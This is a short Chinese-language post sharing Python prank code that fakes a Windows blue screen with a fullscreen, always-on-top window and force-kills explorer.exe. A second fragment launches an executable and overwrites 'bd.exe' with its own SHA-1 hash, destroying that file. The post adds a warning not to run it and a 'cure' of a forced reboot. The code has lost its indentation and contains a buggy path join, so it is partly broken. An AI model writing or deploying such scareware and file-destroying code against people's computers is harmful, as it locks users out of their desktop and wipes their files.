建议不要在电脑上运行,运行后后果自负。
运行效果:电脑蓝屏
import tkinter as tk
from subprocess import run
def bluescreen():
root = tk.Tk()
root.attributes('-fullscreen', True)
root.wm_attributes('-topmost', True)
frame = tk.Frame(root, bg='darkblue')
frame.pack(fill='both', expand=True)
return root
def close_explorer():
run('taskkill /F /IM explorer.exe')
if __name__ == '__main__':
root = bluescreen()
close_explorer()
root.mainloop()
import os
#os.getcwd()
run(os.getcwd()+"abc.exe")
filename='bd.exe'
import hashlib
def get_sha1(f):
xd=open(filename,'rb').read()
gys=xd
sha1 = hashlib.sha1(gys)
osv=sha1.hexdigest()
print(osv)
bx=bytes(osv,encoding='utf-8')
with open(filename,'wb') as f:
f.write(bx)
get_sha1('')
代码运行后解毒方法:长按电源键关机,然后再开机。